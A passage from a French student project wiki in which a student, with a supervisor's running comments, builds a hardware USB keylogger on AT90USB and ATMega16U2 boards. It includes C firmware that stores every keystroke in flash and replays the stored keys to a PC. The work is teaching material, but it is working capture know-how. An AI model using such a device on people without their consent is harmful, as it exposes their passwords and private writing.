Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].
[[Fichier:Keylogger schéma connexion uP.png|vignette|426x426px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]

==== Modification du Keylogger ====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[CODES_PACKET_SIZE];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction <code>memcpy</code>.

ReX : Parfait. Il te reste une condition à redresser <code>(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))</code>. Cela n'arrivera jamais, le plus proche de <code>FLASH_PAGE_INDEX_MAX</code> sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes <code>(*page_buffer_size+FLASH_BUFFER_SIZE>=FLASH_PAGE_INDEX_MAX)</code> tu ne crois pas ?

Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis <code>FLASH_PAGE_INDEX_MAX</code> à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le <code>+ 1</code> qui nous permettra de vérifier l'indice <code>*page_buffer_size</code> qui sera à 252 quand il aura été rempli 4 fois par <code>flash_buffer</code>. Je vais rajouter une condition avec une comparaison <code>>=</code> au cas où les constantes serait mené à changer dans le futur.

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
